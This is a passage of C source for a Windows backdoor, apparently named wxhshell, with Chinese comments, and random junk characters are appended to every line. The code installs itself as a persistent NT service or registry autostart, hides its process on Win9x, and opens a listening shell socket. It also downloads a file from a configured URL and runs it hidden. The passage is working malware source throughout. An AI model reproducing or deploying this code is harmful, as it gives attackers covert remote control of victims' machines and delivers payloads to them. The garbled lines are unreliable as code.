DWORD AffinityMask; 1BmKwux:
DWORD BasePriority; ITl>HlS
ULONG UniqueProcessId; p9jC-&:
ULONG InheritedFromUniqueProcessId; (Q*x"G#4>
} PROCESS_BASIC_INFORMATION; V0D&bN*
gaC4u,Zb
PROCNTQSIP NtQueryInformationProcess; R1SFMI
n;Mk\*Cg
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E!ZLVR.K
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X>
98`
oAifM1*0
HANDLE hProcess; A3.I|/
PROCESS_BASIC_INFORMATION pbi; aoz+T h3
_<]0hC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HPu+ 4xQV
if(NULL == hInst ) return 0; &~;M16XM,e
+-b'+mF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #do%u"q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xKUWj<+/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |11vm#
^>%.l'1/(
if (!NtQueryInformationProcess) return 0; I~6(>Z{
rMVcoO@3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #*rJI3
if(!hProcess) return 0; #yIHr&'oX
pq]z%\$u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2u-J+
t]Ln(r
CloseHandle(hProcess); KC&XOI %
p*<I_QM!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /":/DwI'
if(hProcess==NULL) return 0; dn}EM7:Z
tBkgn3w
HMODULE hMod; iz;5:
char procName[255]; uO]|YF
unsigned long cbNeeded; vn*K\,
J|hVD
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `3jwjy|5
wZ0bD&B
CloseHandle(hProcess); YJ6:O{AL1
wEq&O|Vj
if(strstr(procName,"services")) return 1; // 以服务启动 #5h_{q4l
L8n?F#q
return 0; // 注册表启动 @r[SqGa:
} mW {uChHP
$,O8SW.O$
// 主模块 94O\M
RQ*
int StartWxhshell(LPSTR lpCmdLine) Z,AY<[/C
{ lO|LvJyx
SOCKET wsl; y+Nw>\|S
BOOL val=TRUE; Q}^Ip7T
int port=0; 1p5'.~J+Q
struct sockaddr_in door; \:F$7 *Ne
&HLG<ISw
if(wscfg.ws_autoins) Install(); D1+1j:m
c2Z!Vtd
port=atoi(lpCmdLine); F,)+9/S&
[z\baL|
if(port<=0) port=wscfg.ws_port; &,8Qe;
117lhx].'
WSADATA data; UrciCOQf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Bx\ o8k
/~s<@<1!X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '\d
ldg#P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
BUwL?
door.sin_family = AF_INET; 0\"#Xa+}8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <uBRLe`)
door.sin_port = htons(port); huA?*fat
qZE3T:S
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A@_>9;
closesocket(wsl); ~9APc{"A
return 1; R}w}G6"\
} z
&P1C,n)
5m'AT]5Tn_
if(listen(wsl,2) == INVALID_SOCKET) { d3\?:}o,
closesocket(wsl); 4Dn&+=fq
return 1; t
zd#9 #
} Z5oDj|&l}
Wxhshell(wsl); P@G U2[1
WSACleanup(); )TVd4s(e
"y*3p0E
return 0; !oXFDC3k
k4<28
} Q|+ a
>&e=0@?+G
// 以NT服务方式启动 *k#"@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Bncdf
{ z.SKawm6T
DWORD status = 0; *-fd$l.
DWORD specificError = 0xfffffff; i"n_oO
0+1!-Wo
serviceStatus.dwServiceType = SERVICE_WIN32; Xu~N97\G
serviceStatus.dwCurrentState = SERVICE_START_PENDING; VI9rezZ*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Oq% TW|a#
serviceStatus.dwWin32ExitCode = 0; G"m0[|XH
serviceStatus.dwServiceSpecificExitCode = 0; oB!Y)f6H1
serviceStatus.dwCheckPoint = 0; UkD\ma
serviceStatus.dwWaitHint = 0; qov<@FvE0
T=~d.&J
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /N%i6t<xU
if (hServiceStatusHandle==0) return; li?@BHEf
+\%]<YO
status = GetLastError(); g i/k#3_m
if (status!=NO_ERROR) Iv3yDL;
{ /kyO,g$9
serviceStatus.dwCurrentState = SERVICE_STOPPED; r)-{~JA!
serviceStatus.dwCheckPoint = 0; Jb$G
serviceStatus.dwWaitHint = 0; 12L`Gi
serviceStatus.dwWin32ExitCode = status; qHgtd+
I
serviceStatus.dwServiceSpecificExitCode = specificError; ?mC'ZYQI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kmTYRl
)j
return; i)(G0/:
} V.$tq
gQSVPbzK
serviceStatus.dwCurrentState = SERVICE_RUNNING; "1a!]45 +
serviceStatus.dwCheckPoint = 0; Hc<@T_h+2
serviceStatus.dwWaitHint = 0; Q3=5q w^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y2?9pVLa\y
} 1k:yU(
6~ y'
// 处理NT服务事件,比如:启动、停止 KC; o
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ /*;}NUv
{ ;Qq_
switch(fdwControl) 6RxI9{ry
{ f^QC4hf0
case SERVICE_CONTROL_STOP: x.t&NP^V)
serviceStatus.dwWin32ExitCode = 0; P}a$#a'!
serviceStatus.dwCurrentState = SERVICE_STOPPED; q$yg^:]2
serviceStatus.dwCheckPoint = 0; CDtL.a\
serviceStatus.dwWaitHint = 0; V D7^wd9
{ 4?@#w>(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |[5;dt_U/
} 2
KHT!ik
return; oI`Mn3N
case SERVICE_CONTROL_PAUSE: xjnAK!sD
serviceStatus.dwCurrentState = SERVICE_PAUSED; s}Go")p<:
break; UMNNAX
case SERVICE_CONTROL_CONTINUE: |Fze9kZO
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3}phg
break; ns5Dydo{T
case SERVICE_CONTROL_INTERROGATE: z]%@r 7
break; Jia@HrLR
}; W\Sc ak>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Nvhp]E
} BcpbS%S
GwDOxH'
// 标准应用程序主函数 KK>jV
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W!.FnM5x
{ }oG6XI9
iNi1+sm
// 获取操作系统版本 uA
=%EEZ
OsIsNt=GetOsVer(); Bx}"X?%S
GetModuleFileName(NULL,ExeFile,MAX_PATH); _nzq(m1@
IMdp"
// 从命令行安装 _(gkYJ+MK
if(strpbrk(lpCmdLine,"iI")) Install(); #
SCLU9-
&,PA+#
// 下载执行文件 Z>3~n
if(wscfg.ws_downexe) { [ywF!#'){
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mi(6HMA.SF
WinExec(wscfg.ws_filenam,SW_HIDE); 7=X6_AD
} p(I^Y{sGI
WwnBe"7M
if(!OsIsNt) { *]<= 04v]R
// 如果时win9x,隐藏进程并且设置为注册表启动 BHgs,
HideProc(); N#-.[9!
StartWxhshell(lpCmdLine); Ufi#y<dP
} @,Dnl v|?
else v+sF0
j\P
if(StartFromService()) n{<@-6
// 以服务方式启动 AIQ
{^:
StartServiceCtrlDispatcher(DispatchTable); {U3jJ#K
else {df;R|8l
// 普通方式启动 xo @|;Z>&F
StartWxhshell(lpCmdLine); /{8Y,pZbu
KgD$P(J:[
return 0; H*0g*(
}